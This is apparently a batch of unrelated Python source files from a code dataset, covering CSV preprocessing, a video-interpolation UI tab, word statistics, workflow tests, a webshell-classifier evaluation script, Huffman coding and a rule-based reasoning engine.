csv_reader:\n genre = row[3]\n if genre not in genre_dict:\n genre_dict[genre] = [len(genre_dict) + 1]\n \n with open('static/genres.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for genre in genre_dict:\n writer.writerow([genre_dict[genre][0], genre])\n \n return genre_dict\n\ndef make_games(genre_dict, publisher_dict):\n games_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n name = row[0]\n year = row[2]\n rating = row[15]\n genre = row[3]\n publisher = row[4]\n if name not in games_dict:\n games_dict[name] = [len(games_dict) + 1, year, rating, genre_dict[genre][0], publisher_dict[publisher][0]]\n \n with open('static/games.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for name in games_dict:\n writer.writerow([games_dict[name][0], name, games_dict[name][1], games_dict[name][2], games_dict[name][3], games_dict[name][4]])\n \n return games_dict\n\ndef make_sales():\n sales_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n game = row[0]\n platform = row [1]\n na = row[5]\n eu = row[6]\n jp = row[7]\n other = row[8]\n global_sales = row[9]\n if (game, platform) not in sales_dict:\n sales_dict[(game, platform)] = [len(sales_dict) + 1, na, eu, jp, other, global_sales]\n \n with open('static/sales.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for key in sales_dict:\n writer.writerow(sales_dict[key])\n \n return sales_dict\n\ndef make_games_platforms(games_dict, platform_dict, sales_dict):\n games_platforms_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n game = row[0]\n platform = row[1]\n user_score = row[12]\n if user_score == \"tbd\":\n user_score = ''\n critic_score = row[10]\n if (game, platform) not in games_platforms_dict:\n games_platforms_dict[(game, platform)] = [games_dict[game][0], platform_dict[platform][0], sales_dict[(game, platform)][0], user_score, critic_score]\n \n with open('static/games_platforms.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for key in games_platforms_dict:\n writer.writerow(games_platforms_dict[key])\n\ndef main():\n publisher_dict = make_publishers()\n platform_dict = make_platforms()\n genre_dict = make_genres() \n\n games_dict = make_games(genre_dict, publisher_dict)\n sales_dict = make_sales()\n \n make_games_platforms(games_dict, platform_dict, sales_dict)\n\nif __name__ == '__main__':\n main()","repo_name":"LuisaE/cs257","sub_path":"webapp/make_csvs.py","file_name":"make_csvs.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29130868453","text":"\"\"\"Frame Search feature UI and event handlers\"\"\"\nimport os\nfrom typing import Callable\nimport gradio as gr\nfrom webui_utils.simple_config import SimpleConfig\nfrom webui_utils.simple_icons import SimpleIcons\nfrom webui_utils.file_utils import create_directory\nfrom webui_utils.auto_increment import AutoIncrementDirectory\nfrom webui_tips import WebuiTips\nfrom interpolate_engine import InterpolateEngine\nfrom interpolate import Interpolate\nfrom interpolation_target import TargetInterpolate\nfrom tabs.tab_base import TabBase\n\nclass FrameSearch(TabBase):\n \"\"\"Encapsulates UI elements and events for the Frame Search feature\"\"\"\n def __init__(self,\n config : SimpleConfig,\n engine : InterpolateEngine,\n log_fn : Callable):\n TabBase.__init__(self, config, engine, log_fn)\n\n def render_tab(self):\n \"\"\"Render tab into UI\"\"\"\n max_splits = self.config.search_settings[\"max_splits\"]\n default_splits = self.config.search_settings[\"default_splits\"]\n with gr.Tab(\"Frame Search\"):\n gr.HTML(SimpleIcons.MAGNIFIER +\n \"Search for an arbitrarily precise timed frame and return the closest match\",\n elem_id=\"tabheading\")\n with gr.Row():\n with gr.Column():\n img1_input_fs = gr.Image(type=\"filepath\", label=\"Before Frame\", tool=None)\n img2_input_fs = gr.Image(type=\"filepath\", label=\"After Frame\", tool=None)\n with gr.Row():\n splits_input_fs = gr.Slider(value=default_splits, minimum=1,\n maximum=max_splits, step=1, label=\"Search Precision\")\n min_input_text_fs = gr.Text(placeholder=\"0.0-1.0\",\n label=\"Lower Bound\")\n max_input_text_fs = gr.Text(placeholder=\"0.0-1.0\",\n label=\"Upper Bound\")\n with gr.Column():\n img_output_fs = gr.Image(type=\"filepath\", label=\"Found Frame\",\n interactive=False, elem_id=\"mainoutput\")\n file_output_fs = gr.File(type=\"file\", file_count=\"multiple\",\n label=\"Download\", visible=False)\n search_button_fs = gr.Button(\"Search\", variant=\"primary\")\n with gr.Accordion(SimpleIcons.TIPS_SYMBOL + \" Guide\", open=False):\n WebuiTips.frame_search.render()\n search_button_fs.click(self.frame_search,\n inputs=[img1_input_fs, img2_input_fs, splits_input_fs,\n min_input_text_fs, max_input_text_fs],\n outputs=[img_output_fs, file_output_fs])\n\n def frame_search(self,\n img_before_file : str,\n img_after_file : str,\n num_splits : float,\n min_target : float,\n max_target : float):\n \"\"\"Search button handler\"\"\"\n if img_before_file and img_after_file and min_target and max_target:\n base_output_path = self.config.directories[\"output_search\"]\n use_time_step = self.config.engine_settings[\"use_time_step\"]\n create_directory(base_output_path)\n output_path, _ = AutoIncrementDirectory(base_output_path).next_directory(\"run\")\n output_basename = \"frame\"\n\n if use_time_step:\n # use the time step feature of the model to reach the midpoint of the target range\n interpolater = Interpolate(self.engine.model, self.log)\n midpoint = float(min_target) + (float(max_target) - float(min_target)) / 2.0\n img_new = os.path.join(output_path, f\"{output_basename}@{midpoint}.png\")\n interpolater.create_between_frame(img_before_file, img_after_file, img_new,\n midpoint)\n output_paths = interpolater.output_paths\n else:\n # use binary search interpolation to reach the target range\n interpolater = Interpolate(self.engine.model, self.log)\n target_interpolater = TargetInterpolate(interpolater, self.log)\n\n self.log(f\"beginning targeted interpolations at {output_path}\")\n target_interpolater.split_frames(img_before_file, img_after_file, num_splits,\n float(min_target), float(max_target), output_path, output_basename)\n output_paths = target_interpolater.output_paths\n return gr.Image.update(value=output_paths[0]), gr.File.update(value=output_paths,\n visible=True)\n","repo_name":"jhogsett/EMA-VFI-WebUI","sub_path":"tabs/frame_search_ui.py","file_name":"frame_search_ui.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"} +{"seq_id":"1311789533","text":"import numpy as np\nimport map_note_collector as mnc\nimport random\nrandom.seed(1)\n\n\nclass MyDataHandler:\n def __init__(self, len_data=10, note_per_s=5, freq=1000):\n self.len_data = len_data\n self.note_per_s = note_per_s\n self.freq = freq\n self.training_data = []\n\n def get_training_data(self, amount):\n self.training_data = []\n for (song, notes, info) in mnc.NC.load_data(amount, self.len_data, self.note_per_s, self.freq):\n new_notes = []\n for note in notes:\n new_notes += note\n if song.shape == (self.len_data * self.freq,):\n self.training_data.append([song, np.array(new_notes)])\n\n np.random.shuffle(self.training_data)\n np.save(\"NN_stuff/NN_1/training_data.npy\", self.training_data)\n","repo_name":"kz2wd/beat-saber-map-creator","sub_path":"NN_stuff/NN_1/data_collector_NN_class.py","file_name":"data_collector_NN_class.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"26067222003","text":"\nfrom colorama import init\ninit()\nimport sys\n\nletter_block_size, letter_count_block_size, word_count_block_size = 12, 40, 40\n\ndef letter_block(string):\n ret = f'Letter \"{string}\"'\n space = letter_block_size - len(ret)\n ret += \" \" * space\n return ret\n\ndef letter_count_block(count, total):\n ret = f'Count = {str(count)} ; Percent = {\"{:.02f}\".format((count/total)*100)}'\n space = letter_count_block_size - len(ret)\n ret += \" \" * space\n return ret\n\ndef word_count_block(count, total):\n ret = f'Count = {str(count)} ; Percent = {\"{:.02f}\".format((count/total)*100)}'\n space = letter_count_block_size - len(ret)\n ret += \" \" * space\n return ret\n\nletter_block(\"a\")\n\nfr = open(\"./WordSolve/_5_letter_words_sorted.txt\", \"r\")\n# fw = open(\"./word_stats/word_stats.txt\", \"w\")\n# sys.stdout = fw \n\nwords = fr.read().split(\"\\n\")\nfr.close()\n# words.remove(\"\\n\")\n\nletters = \"abcdefghijklmnopqrstuvwxyz\"\noccurrances = list()\nfor letter in letters:\n letter_count = 0\n word_count = 0\n for word in words:\n c = word.count(letter)\n if c > 0:\n word_count += 1\n letter_count += c\n \n occurrances.append((letter, letter_count, word_count))\n\nstats = list()\nword_size = len(words)\nletter_size = word_size * 5\nprint(f\"Letter{' ' * (letter_block_size - 6)} | Letter count & percent of all letters{' ' * (letter_count_block_size - 37)} | Word count & percent of all words{' ' * (word_count_block_size - 33)}\")\nprint(f\"Total{' ' * (letter_block_size - 5)} | Letter total = {str(letter_size)}{' ' * (letter_count_block_size - 15 - len(str(letter_size)))} | Word total = {str(word_size)}{' ' * (word_count_block_size - 13 - len(str(word_size)))}\")\nfor (letter, letter_count, word_count) in occurrances:\n print(f\"{letter_block(letter)} | {letter_count_block(letter_count, letter_size)} | {word_count_block(word_count, word_size)}\")\n\n# fw.close\n","repo_name":"BAXENdev/BaxWordleSolver","sub_path":"WordSolve/src/tools/word_occurrence.py","file_name":"word_occurrence.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36263823705","text":"import os\nimport shutil\nimport visip.dev.tools as tools\nimport visip as wf\nfrom visip.dev import evaluation\nscript_dir = os.path.dirname(os.path.realpath(__file__))\n\ndef eval():\n return evaluation.Evaluation(workspace=script_dir)\n\n\n@wf.action_def\ndef read_file(input: wf.FileIn) -> int:\n with open(input.path, \"r\") as f:\n content = f.readlines()\n return len(content)\n\n\nMY_FILE = \"my_file.txt\"\nWORKSPACE = \"_workspace\"\n@wf.analysis\ndef my_file_count() -> int:\n return read_file(wf.file_in(MY_FILE, workspace=WORKSPACE))\n\ndef test_file():\n print(\"Root workspace: \", os.getcwd())\n os.makedirs(WORKSPACE, exist_ok=True)\n with open(os.path.join(WORKSPACE, MY_FILE), \"w\") as f:\n f.write(\"one\\ntwo\\nthree\")\n result = evaluation.run(my_file_count)\n # print(result)\n assert result == 3\n\n\n\n@wf.workflow\ndef system_test_wf(self, script_name: str) -> wf.ExecResult:\n script = wf.file_in(script_name)\n self.msg = wf.system(\n ['echo', \"Hallo world\"],\n stdout=wf.file_out('msg_file.txt'))\n self.msg_file = wf.file_in('msg_file.txt', self.msg.workdir)\n self.res = wf.system(['python', script, \"-m\", self.msg_file, \"123\"], stdout=wf.SysFile.PIPE, stderr=wf.SysFile.STDOUT)\n return self.res\n\ndef test_system():\n \"\"\"\n Test system action with mock command.\n :return:\n \"\"\"\n try:\n os.remove(os.path.join(script_dir, \"msg_file.txt\"))\n except FileNotFoundError:\n pass\n\n print(\"Root workspace: \", os.getcwd())\n script_name = \"_mock_script_test_system.py\"\n result = eval().run(system_test_wf, script_name).result\n assert result.stdout == b\"I'm here.\\n\"\n\n\ndef prepare_workspace_template():\n with tools.change_cwd(script_dir):\n shutil.rmtree(\"_workspace\", ignore_errors=True)\n os.makedirs(\"_workspace\")\n shutil.copyfile(os.path.join(\"inputs\", \"darcy_flow.yaml.tmpl\"),\n os.path.join(\"_workspace\", \"darcy_flow.yaml.tmpl\"))\n\n print(\"Root workspace: \", os.getcwd())\n\n\ndef test_file_from_template():\n prepare_workspace_template()\n result = eval().run(wf.file_from_template,\n wf.file_in('_workspace/darcy_flow.yaml.tmpl'),\n dict(MESH='my_mesh.msh')).result\n\n with open(os.path.join(script_dir, \"_workspace\", \"darcy_flow.yaml\"), \"r\") as f:\n content = f.read()\n assert content.find('my_mesh.msh')\n\n@wf.analysis\ndef my_mesh_yaml():\n return wf.file_from_template(wf.file_in('_workspace/darcy_flow.yaml.tmpl'), dict(MESH='my_mesh.msh'))\n\n\ndef test_file_from_template_wf():\n prepare_workspace_template()\n result = eval().run(my_mesh_yaml).result\n with open(os.path.join(script_dir, \"_workspace\", \"darcy_flow.yaml\"), \"r\") as f:\n content = f.read()\n assert content.find('my_mesh.msh')\n\n\ndef test_file_action_skipping():\n # Test that external operations are skipped once files are the same\n pass\n","repo_name":"GeoMop/visip","sub_path":"testing/action/test_std.py","file_name":"test_std.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39249266575","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom functools import reduce\nfrom configparser import ConfigParser\n\nimport tflearn\nfrom numpy import argmax\nfrom sklearn import model_selection, metrics\n\nimport training\n\n\nconfig = ConfigParser()\nconfig.read('config.ini')\nblack_files = config['training']['black_files']\nwhite_files = config['training']['white_files']\nmodel_record = config['training']['model_record']\n\n\ndef test_model(x1_code, y1_label, x2_code, y2_label):\n global model_record\n\n x1_code.extend(x2_code)\n y1_label.extend(y2_label)\n\n print('serializing opcodes')\n training.serialize_codes(x1_code)\n\n x_train, x_test, y_train, y_test = model_selection.train_test_split(x1_code, y1_label, shuffle=True)\n print('trainning set size: {0}'.format(len(x_train)))\n print('testing set size: {0}'.format(len(x_test)))\n\n record = json.load(open(model_record, 'r'))\n seq_length = len(reduce(lambda x, y: x if len(x) > len(y) else y, x1_code))\n optimizer = record['optimizer']\n learning_rate = record['learning_rate']\n loss = record['loss']\n n_epoch = record['n_epoch']\n batch_size = record['batch_size']\n\n x_train = tflearn.data_utils.pad_sequences(x_train, maxlen=seq_length, value=0.)\n x_test = tflearn.data_utils.pad_sequences(x_test, maxlen=seq_length, value=0.)\n\n y_train = tflearn.data_utils.to_categorical(y_train, nb_classes=2)\n\n network = training.create_network(\n seq_length,\n optimizer=optimizer,\n learning_rate=learning_rate,\n loss=loss\n )\n model = tflearn.DNN(network, tensorboard_verbose=0)\n model.fit(\n x_train, y_train,\n n_epoch=n_epoch,\n shuffle=True,\n validation_set=0.1,\n show_metric=True,\n batch_size=batch_size,\n run_id='webshell')\n\n y_pred = model.predict(x_test)\n y_pred = argmax(y_pred, axis=1)\n\n print('metrics.accuracy_score:')\n print(metrics.accuracy_score(y_test, y_pred))\n print('metrics.confusion_matrix:')\n print(metrics.confusion_matrix(y_test, y_pred))\n print('metrics.precision_score:')\n print(metrics.precision_score(y_test, y_pred))\n print('metrics.recall_score:')\n print(metrics.recall_score(y_test, y_pred))\n print('metrics.f1_score:')\n print(metrics.f1_score(y_test, y_pred))\n\n\nif __name__ == '__main__':\n print('loading black files...')\n black_code_list = training.get_all_opcode(black_files)\n black_label = [1] * len(black_code_list)\n print('{0} black files loaded'.format(len(black_code_list)))\n\n print('loading white files...')\n white_code_list = training.get_all_opcode(white_files)\n white_label = [0] * len(white_code_list)\n print('{0} white files loaded'.format(len(white_code_list)))\n\n test_model(black_code_list, black_label, white_code_list, white_label)\n ","repo_name":"gsfish/cnn-webshell-detect","sub_path":"test_model_metric_new.py","file_name":"test_model_metric_new.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"44"} +{"seq_id":"73614577091","text":"from collections import Counter\nfrom operator import itemgetter\nfrom pprint import pprint\n\n\ndef prepare_answer_encode() -> str:\n \"\"\"\n Функция подготовки ответа для тестов на создание кода Хаффмана.\n\n :return: Строка с ответом на задание\n \"\"\"\n input_string = input()\n answer = list()\n code = make_code(input_string)\n translation_table = str.maketrans(code)\n encoded_string = input_string.translate(translation_table)\n answer.append(f'{len(code.keys())} {len(encoded_string)}')\n for letter, coding in code.items():\n answer.append(f'{letter}: {coding}')\n answer.append(encoded_string)\n return \"\\n\".join(answer)\n\n\ndef make_code(input_string: str) -> dict:\n \"\"\"\n Построение дерева по заданной строке\n\n :param input_string: Строка для которой будет построено дерево\n частот\n :return: Список из символа, его частоты и списка для кода Хаффмана\n \"\"\"\n counts = list(Counter(input_string).items())\n codes = {key[0]: '' for key in counts}\n\n while True:\n counts.sort(key=itemgetter(1))\n\n left_letter, left_weight = counts.pop(0)\n for letter in left_letter:\n codes[letter] = '0' + codes[letter]\n\n right_letter, right_weight = counts.pop(0) if counts else ('', 0)\n for letter in right_letter:\n codes[letter] = '1' + codes[letter]\n counts.append((left_letter + right_letter, left_weight + right_weight))\n\n if len(counts) == 1:\n break\n return codes\n\n\ndef prepare_answer_decode():\n \"\"\"\n Функция для разбора строк с кодом Хаффмана для символов\n и вывода результата для тестов.\n \"\"\"\n symbols_num, _ = input().split()\n symbols_num = int(symbols_num)\n\n codes = dict()\n for _ in range(symbols_num):\n symbol, code = input().split(': ')\n codes[code] = symbol\n encoded_string = input()\n\n current = ''\n result = ''\n for symbol in encoded_string:\n current += symbol\n if current not in codes:\n continue\n result += codes[current]\n current = ''\n return result\n\n\nif __name__ == \"__main__\":\n print(prepare_answer_decode())\n","repo_name":"FedoseevAlex/algorithms","sub_path":"algorithms/Huffman.py","file_name":"Huffman.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38459802515","text":"from multiprocessing import Process\nfrom multiprocessing import Condition, Lock\nfrom multiprocessing import Array, Value\nimport time\nimport random\n\nfrom monitor import Table\n\nNPHIL = 5 #Número de filósofos\n\ndef delay(n):\n time.sleep(random.random()/n)\n \ndef philosopher_task(num:int, table: Table):\n while True: #Los filósofos nunca paran de pensar y de comer\n print (f\"Philosofer {num} thinking\")\n print (f\"Philosofer {num} wants to eat\")\n table.wants_eat(num)\n print (f\"Philosofer {num} eating\")\n delay(3)\n table.wants_think(num)\n print (f\"Philosofer {num} stops eating\")\n \ndef main():\n index = Value('i', 0) #Índice que guarda la posición del filósofo que quiere comer\n storage = Array('i',NPHIL)\n \"\"\"\n storage guarda la información sobre los tenedores disponibles. Para cada posición\n num2 and self.m_symbol.m_name[1]=='_':\r\n for mp in list_map:\r\n if mp in list_new:\r\n list_map.remove(mp)\r\n else:\r\n list_map=dictToList(pool)\r\n # list_map=pool.get(self.m_symbol.m_name,[])\r\n # print('pool:',pool)\r\n if self.m_buildMode==False or areaType==False:\r\n name=self.m_symbol.m_name\r\n # function points\r\n if self.isFunctionPoint()==1:\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n point.m_creator=self\r\n self.map(point)\r\n else:\r\n self.m_map.delete()\r\n del self.m_map\r\n self.map(None)\r\n return\r\n elif self.isFunctionPoint()==2:\r\n # function points [P] don't find map from pool\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n self.map(point)\r\n self.m_interp=True\r\n else:\r\n self.m_map.delete()\r\n self.m_map=m_needed=None\r\n self.map(None)\r\n return\r\n\r\n # only take real points when karma is start with _ and ~\r\n list_have=[]\r\n for point in list_map:\r\n if self.selfType()=='实万用链节' or self.selfType()=='实否定链节':\r\n if point.m_creator!=None or point.m_needed==None:\r\n list_have.append(point)\r\n # else:\r\n # pass\r\n # print('Erased from map_list:',point.info(),', it should be an imagine point.')\r\n else:\r\n list_have.append(point)\r\n mp=self.m_map\r\n self.map(self.nextInlist(mp,list_have))\r\n return\r\n else:\r\n name=self.m_symbol.m_name\r\n # answer questions\r\n # +word(,)\r\n if name!='' and (name[0]!='[' or name[-1]!=']'):\r\n if self.m_map!=None:\r\n self.m_map.m_creator=None\r\n if self.m_map.m_needed==None:\r\n self.m_map.delete()\r\n self.map(None)\r\n return\r\n else:\r\n self.m_map.m_name='['+self.m_map.m_name+']'\r\n list_need=[]\r\n for point in list_map:\r\n if point.m_creator==None and point.m_needed!=None:\r\n list_need.append(point)\r\n point=self.m_map\r\n self.map(self.nextInlist(point,list_need))\r\n if self.m_map==None:\r\n if self.m_restricted==True:\r\n self.map(None)\r\n return\r\n point=NetP(self.m_symbol.m_name,self.m_symbol.m_text)\r\n self.map(point)\r\n else:\r\n self.m_map.m_name=self.m_map.m_name[1:-1]\r\n self.m_map.m_creator=self\r\n return\r\n # +[word](,)\r\n else:\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n self.map(point)\r\n return\r\n else:\r\n self.m_map.m_needed=None\r\n self.m_map.delete()\r\n self.map(None)\r\n return\r\n\r\n self.map(None)\r\n\r\n\r\n def nextInlist(self,point,list_pt):\r\n if list_pt==[]:\r\n return None\r\n if point==None:\r\n return list_pt[0]\r\n \r\n try:\r\n i=list_pt.index(point)\r\n except:\r\n return None\r\n \r\n if i+1>=len(list_pt):\r\n return None\r\n else:\r\n return list_pt[i+1]\r\n\r\n def map(self,point):\r\n self.m_map=point\r\n self.m_stage=0\r\n self.m_interp=False\r\n self.m_reState=''\r\n self.m_choose=True\r\n for clause in self.m_clause:\r\n clause.map(None)\r\n for end in self.m_noe:\r\n end.map(None)\r\n for end in self.m_yese:\r\n end.map(None)\r\n \r\n if self.m_map!=None:\r\n cause=self.m_cause\r\n while cause!=None:\r\n # function relation points\r\n if cause.needBuildRelation():\r\n if cause.m_map.m_needed==None or cause.m_map.m_needed==cause:\r\n if cause.m_symbol.m_db[0]==self.m_symbol:\r\n cause.m_map.connect(self.m_map,0)\r\n if cause.m_symbol.m_db[1]==self.m_symbol:\r\n cause.m_map.connect(self.m_map,1)\r\n if self.needBuildRelation():\r\n if self.m_map.m_needed==None or self.m_map.m_needed==self:\r\n if self.m_symbol.m_db[0]==cause.m_symbol:\r\n self.m_map.connect(cause.m_map,0)\r\n if self.m_symbol.m_db[1]==cause.m_symbol:\r\n self.m_map.connect(cause.m_map,1)\r\n cause=cause.m_cause\r\n\r\n def buildingNewMap(self):\r\n if self.m_map==None:\r\n return False\r\n elif self.m_buildMode==False:\r\n return False\r\n elif self.m_map.m_needed==None:\r\n return True\r\n return False\r\n\r\n def needBuildRelation(self):\r\n if self.buildingNewMap():\r\n return True\r\n elif self.isFunctionPoint()!=0:\r\n return True\r\n return False\r\n \r\n def selfType(self):\r\n name=self.m_symbol.m_name\r\n if name=='':\r\n return \"实链节\"\r\n elif name[0]=='_':\r\n return \"实万用链节\"\r\n elif name[0]=='~':\r\n return \"实否定链节\"\r\n elif name[0]=='[' and name[-1]==']':\r\n return \"虚链节\"\r\n return \"实链节\"\r\n\r\n def isFunctionPoint(self):\r\n if self.m_symbol.m_name=='':\r\n return 0\r\n elif self.m_symbol.m_name=='[eq]' or self.m_symbol.m_name=='[同名]':\r\n return 1\r\n elif self.m_symbol.m_name=='[is]' or self.m_symbol.m_name=='[是]':\r\n return 1\r\n elif self.m_symbol.m_name=='[]':\r\n return 1\r\n elif self.m_symbol.m_name[0]=='[' and self.m_symbol.m_name[-1]==']':\r\n return 2\r\n return 0\r\n\r\n def Reason_iterative(self,pool,show=False,order=None,list_new=None,areaType=True):\r\n # order records the order of mapping.\r\n if list_new==None:\r\n list_new=[]\r\n if self.m_no==True:\r\n areaType=not areaType\r\n if order!=None:\r\n order.append([order[-1][0]+1,self.m_symbol.m_name])\r\n #print(order)\r\n while True:\r\n #Stage 1\r\n self.m_stage=1\r\n self.m_reState=''\r\n if show:\r\n print('Begin:')\r\n print(self.m_symbol.m_name)\r\n self.newMap(pool,areaType,list_new)\r\n if show and self.m_map!=None:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 0: Have a new map(',self.stateSelf(),')')\r\n print(self.m_map,':',self.m_map.m_name)\r\n if self.stateRelation()==False:\r\n continue\r\n if self.stateSelf()=='red':\r\n continue\r\n if self.stateSelf()=='yellow':\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 3: Output final state:')\r\n if self.m_no==False:\r\n print('dark yellow')\r\n else:\r\n print('dark green')\r\n if self.m_no==False:\r\n self.m_stage=5\r\n self.m_reState='dark yellow'\r\n return ['dark yellow',pool,list_new]\r\n else:\r\n self.m_stage=5\r\n self.m_reState='dark green'\r\n return ['dark green',pool,list_new]\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 1: Check map state:')\r\n print(self.stateSelf())\r\n\r\n # Stage 2\r\n self.m_stage=2\r\n self.m_reState=''\r\n if self.m_clause==[]:\r\n choose=True\r\n else:\r\n choose=self.m_clauseAnd\r\n for clause in self.m_clause:\r\n [state_re,pool,list_new]=clause.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n if self.m_clauseAnd==True:\r\n if state_re=='dark yellow':\r\n choose=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n choose=True\r\n break\r\n \r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 2: Choose No-end or Yes-end:')\r\n if choose:\r\n print('Yes')\r\n else:\r\n print('No')\r\n\r\n # Stage 3\r\n self.m_stage=3\r\n self.m_reState=''\r\n if choose==False:\r\n if self.m_noe!=[]:\r\n result=self.m_noAnd\r\n for end in self.m_noe:\r\n [state_re,pool,list_new]=end.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n\r\n if self.m_noAnd==True:\r\n if state_re=='dark yellow':\r\n result=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n result=True\r\n break\r\n else:\r\n result=False\r\n\r\n if result==False:\r\n continue\r\n\r\n if choose==True:\r\n if self.m_yese!=[]:\r\n result=self.m_yesAnd\r\n for end in self.m_yese:\r\n [state_re,pool,list_new]=end.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n if self.m_yesAnd==True:\r\n if state_re=='dark yellow':\r\n result=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n result=True\r\n break\r\n elif self.m_noe!=[]:\r\n result=False\r\n else:\r\n result=True\r\n\r\n if result==False:\r\n continue\r\n\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 3: Output final state:')\r\n if self.m_no:\r\n print('dark yellow')\r\n else:\r\n print('dark green')\r\n \r\n\r\n #Stage 4\r\n self.m_stage=4\r\n self.m_reState=''\r\n if self.m_buildMode==True and self.m_map!=None:\r\n list_pt=pool.get(self.m_map.m_name,[])\r\n list_pt.append(self.m_map)\r\n pool.update({self.m_map.m_name:list_pt})\r\n list_new.append(self.m_map)\r\n\r\n if self.m_no==True:\r\n self.m_stage=5\r\n self.m_reState='dark yellow'\r\n return ['dark yellow',pool,list_new]\r\n else:\r\n self.m_stage=5\r\n self.m_reState='dark green'\r\n return ['dark green',pool,list_new]\r\n\r\n def isChosen(self):\r\n if self.m_cause==None:\r\n return False\r\n if self.m_cause.m_choose==False:\r\n return self in self.m_cause.m_noe\r\n else:\r\n return self in self.m_cause.m_yese\r\n\r\n def Reason_oneStep(self,pool):\r\n list_new=[]\r\n areaType=self.areaType()\r\n change=False\r\n \r\n if self.m_stage==0:\r\n if self.m_cause!=None:\r\n if self in self.m_cause.m_clause:\r\n if self.m_cause.m_stage==2:\r\n self.m_stage=1\r\n change=True\r\n else:\r\n if self.m_cause.m_stage==3 and self.isChosen():\r\n self.m_stage=1\r\n change=True\r\n # print(self.m_symbol.info(),'start!','The choose of the cause is:',self.m_cause.m_choose)\r\n\r\n if self.m_stage==1:\r\n while True:\r\n if self.stateSelf()!='blue':\r\n self.newMap(pool,areaType,list_new)\r\n else:\r\n self.m_interp=False\r\n # if self.m_map!=None:\r\n # print('Map:',self.m_map.info(),self.stateSelf())\r\n change=True\r\n if self.stateRelation()==False:\r\n continue\r\n elif self.stateSelf()=='red':\r\n continue\r\n elif self.stateSelf()=='yellow':\r\n self.m_stage=5\r\n if self.m_no==False:\r\n self.m_reState='dark yellow'\r\n return [change,list_new]\r\n else:\r\n self.m_reState='dark green'\r\n return [change,list_new]\r\n elif self.stateSelf()=='blue':\r\n self.m_stage=1\r\n return [change,list_new]\r\n else:\r\n self.m_stage=2\r\n break\r\n\r\n if self.m_stage==2:\r\n if self.m_clause==[]:\r\n self.m_choose=True\r\n self.m_stage=3\r\n change=True\r\n else:\r\n self.m_choose=self.m_clauseAnd\r\n keep=False\r\n for clause in self.m_clause:\r\n if self.m_clauseAnd==True:\r\n if clause.m_reState=='dark yellow':\r\n self.m_choose=False\r\n self.m_stage=3\r\n change=True\r\n break\r\n elif clause.m_reState=='':\r\n keep=True\r\n else:\r\n if clause.m_reState=='dark green':\r\n self.m_choose=True\r\n self.m_stage=3\r\n change=True\r\n break\r\n elif clause.m_reState=='':\r\n keep=True\r\n if self.m_clause!=[] and keep==False:\r\n self.m_stage=3\r\n change=True\r\n\r\n if self.m_stage==3:\r\n # print(self.m_symbol.info(),'End type:',self.m_yesAnd)\r\n if self.m_choose==False:\r\n if self.m_noe==[]:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n keep=False\r\n for end in self.m_noe:\r\n if end.m_reState=='':\r\n keep=True\r\n elif self.m_noAnd==True:\r\n if end.m_reState=='dark yellow':\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if end.m_reState=='dark green':\r\n self.m_stage=4\r\n change=True\r\n break\r\n if self.m_stage==3 and keep==False:\r\n if self.m_noAnd==True:\r\n self.m_stage==4\r\n change=True\r\n else:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if self.m_yese==[] and self.m_noe==[]:\r\n self.m_stage=4\r\n change=True\r\n elif self.m_yese==[]:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n 